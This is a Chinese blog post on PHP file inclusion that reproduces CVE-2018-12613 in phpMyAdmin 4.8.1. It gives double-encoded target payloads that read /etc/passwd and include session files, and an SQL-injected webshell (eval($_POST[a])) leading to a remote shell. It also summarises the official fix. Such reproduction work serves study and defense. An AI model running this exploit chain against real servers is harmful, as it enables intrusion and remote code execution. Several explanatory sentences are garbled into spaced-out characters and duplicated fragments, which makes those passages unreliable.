文件包含漏洞笔记(一)

WEB安全 专栏收录该内容
2 篇文章 0 订阅

在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,用来动态调用。但通过动态变量的方式引入需要包含的文件时,用户对变量的值可控而服务器端又未对变量值进行合理地校验或者校验被绕过,因此导致了文件包含漏洞。

文件包含漏洞

原理

 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为文件包含。通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。

相关函数

PHP中常见的包含文件函数

  • include()

    使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
    进来,发生错误时之给出一个警告,继续向下执行。

  • include_one()

    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

  • require()

    require()与include()的区别在于require()执行如果发生错误,函数会输出
    错误信息,并终止脚本的运行。

  • require_once()

    与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

危险配置

RFI 远程文件包含相关配置

allow_url_fopen

allow_url_include

伪协议

在PHP中

  • php://input

    获取post数据,可以用来写木马

  • php://filter

    经常利用它进行base64编码,读取源代码

  • file://

    访问本地文件系统,必须用绝对路径

  • data://

    传输数据

  • phar://

    解压缩

在这里插入图片描述

图片来自 Lee-404

CVE-2018-12613 复现分析

 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在phpmyadmin 4.8.1 版本,index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

index.php

漏洞入口如下

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里有个文件包含,需要满足如下五个条件:

  • $_REQUEST[‘target’]

    $_REQUEST是PHP中的超级全局变量,接收表单提交的数据,所以这边首先要满足存在target参数

  • is_string($_REQUEST[‘target’])

    is_string函数用于检测变量是否是字符串。如果指定变量为字符串,则返回 TRUE,否则返回 FALSE。所以target参数需要是一个字符串。

  • ! preg_match(’/^index/’, $_REQUEST[‘target’])

    preg_match用于执行正则匹配,返回匹配次数,又因为是非贪婪的匹配,所以返回值是0或1。

    搜索target参数中与模式相匹配字符串,并取非,即不能出现index

  • ! in_array($_REQUEST[‘target’], $target_blacklist)

    in_array() 函数搜索数组中是否存在指定的值。

    target对应的字符串不能出现在 $target_blacklist中

  • Core::checkPageValidity($_REQUEST[‘target’]

    需要满足Core类的checkPageValidity方法判断

前三个条件,很清晰,要求能接收到表单提交的target参数对应的数据,并且该数据是一个不包含"index"字符串的字符串。对于第四点和第五点,我们需要进一步去查看$target_blacklist和checkPageValidity方法到底是什么。

首先来看一下$target_blacklist这个变量,对应index.php的第50~52行

$target_blacklist = array (
    'import.php', 'export.php'
);

不难看出,这里创建了一个索引数组,也就说target不能是import.php或export.php。

继续来看checkPageValidity方法,在libraries/classes/Core.php文件中的443~476行。

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

此处只传了一个参数 R E Q U E S T [ ′ t a r g e t ′ ] , 我 们 可 以 先 定 位 第 一 个 i f 判 断 , 在 _REQUEST['target'],我们可以先定位第一个if判断,在 REQUEST[target]ifwhitelist为空的条件下,会引用静态声明的$goto_whitelist。默认的白名单如下所示

public static $goto_whitelist = array(
    'db_datadict.php',
    'db_sql.php',
    'db_events.php',
    'db_export.php',
    'db_importdocsql.php',
    'db_multi_table_query.php',
    'db_structure.php',
    'db_import.php',
    'db_operations.php',
    'db_search.php',
    'db_routines.php',
    'export.php',
    'import.php',
    'index.php',
    'pdf_pages.php',
    'pdf_schema.php',
    'server_binlog.php',
    'server_collations.php',
    'server_databases.php',
    'server_engines.php',
    'server_export.php',
    'server_import.php',
    'server_privileges.php',
    'server_sql.php',
    'server_status.php',
    'server_status_advisor.php',
    'server_status_monitor.php',
    'server_status_queries.php',
    'server_status_variables.php',
    'server_variables.php',
    'sql.php',
    'tbl_addfield.php',
    'tbl_change.php',
    'tbl_create.php',
    'tbl_import.php',
    'tbl_indexes.php',
    'tbl_sql.php',
    'tbl_export.php',
    'tbl_operations.php',
    'tbl_structure.php',
    'tbl_relation.php',
    'tbl_replace.php',
    'tbl_row_action.php',
    'tbl_select.php',
    'tbl_zoom_select.php',
    'transformation_overview.php',
    'transformation_wrapper.php',
    'user_password.php',
);

这些文件都是可以被包含的。

第二个if条件,判断 p a g e 是 否 被 设 置 或 page是否被设置或 pagepage是否为字符串,其中如果 p a g e 没 有 被 设 置 或 者 page没有被设置或者 pagepage不是字符串就会返回一个false。

第三个if条件,判断 p a g e 对 应 的 值 是 否 在 page对应的值是否在 pagewhitelist中。

第四个if条件,以?分割取出前面的字符串,再判断该值是否存在于$goto_whilelist某个数组中。这个判断的作用是在target值含有参数的情况下,phpmyadmin也能正确的包含文件。

具体的来说,先要知道mb_strpos(haystack,needle)的作用是返回要查找的字符串在别一个字符串中首次出现的位置,这里haystack代表被检索字符串,needle表示需要查询的字符。

再来看这一行,

mb_strpos($page . '?', '?')

用连接符将$page与?拼接,然后在其中查询?第一次出现的位置,这样一看可能有些奇怪,先带着这样的认知,再总体来看这一段code。

$_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );

同样地,先要知道mb_substr不难看出,这是从 p a g e 中 截 取 从 位 置 0 开 始 长 度 为 m b s t r p o s ( page中截取从位置0开始长度为mb_strpos( page0mbstrpos(page . ‘?’, ‘?’)的一段字符串。而我们知道mb_strpos( p a g e . ′ ? ′ , ′ ? ′ ) 所 返 回 的 是 page . '?', '?')所返回的是 page.?,?)page中第一个出现的?的位置,那么 p a g e 最 终 所 获 取 的 是 _page最终所获取的是 pagepage中再?前的所有字符。

继续往下,$_page同样被判断是否在白名单中,看到这里,应该我们可以知道这里其实是phpmyadmin的开发者考虑到target值在可能带有参数的情况下,也应该被正确的包含。所以对数据进行了清洗。

理解了这一边,后面其实做了类似的工作,只不过在此基础上将$page参数进行url解码再分割出?前的字符串判断是否包含在白名单内。

 $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

漏洞利用

根据以上分析我们可以构造一个形如xxx.php?/…/…/…/…/…/xxxx.php的payload传递给target参数。

第一个xxx.php应该是一个可以通过白名单验证的php文件,我们可以从之前$goto_whitelist对应的数组任意挑选一个,第二个xxxx.php则是我们意图包含的文件。

比如构造payload

?target=sql.php?/../../../../../../../../../etc/passwd

这里服务器会自动进行一次url解码,所以需要对?二次编码为%253f。

?target=sql.php%253f/../../../../../../../../../etc/passwd

在这里插入图片描述
成功包含文件。

Getshell

phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以利用包含session文件的方式来写入shell。

执行SQL语句

SELECT "<?php phpinfo();?>"

在这里插入图片描述

PHP会序列化参数传递的值,并保存在本地的session文件中。查看当前phpmyadmin的cookie,并记录。

在这里插入图片描述

一般情况下,phpmyadmin的session文件会设置在/tmp目录下。

(如linux下默认存储在/var/lib/php/session目录)

进入dokcer容器,查看tmp路径下的session文件。
在这里插入图片描述

把该session文件包含进去

构造payload

?target=sql.php?/../../../../../tmp/sess_6f1f4267c65de394d87398d6ef54d893

在这里插入图片描述

我们可以看到phpinfo被解析出现。如果要继续写入webshell,从phpinfo中搜索web路径,查找CONTEXT_DOCUMENT_ROOT这一栏目

szOS9x.png

可以看到路径为/var/www/html,构造sql语句写入webshell,如这里利用php的file_put_contents函数将一个字符串写入文件中。

select "<?php file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);?>');?>"

在这里插入图片描述

再次包含session文件。

访问webshell.php文件,发现文件存在,说明写入成功。

szX8sO.png

蚁剑连接。

在这里插入图片描述

szXNod.png

成功Getshell。

漏洞修复

参考官方的漏洞修复

szXdJI.png
szXaFA.png

添加了一个include参数,当 i n c l u d e = t r u e 时 , 仅 执 行 第 一 次 判 断 include=true时,仅执行第一次判断 include=true,page的合法性,构造的payload将不会进入到urldecode的环节。

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

参与评论 您还未登录,请先 登录 后发表或查看评论
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

Lkiopy

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值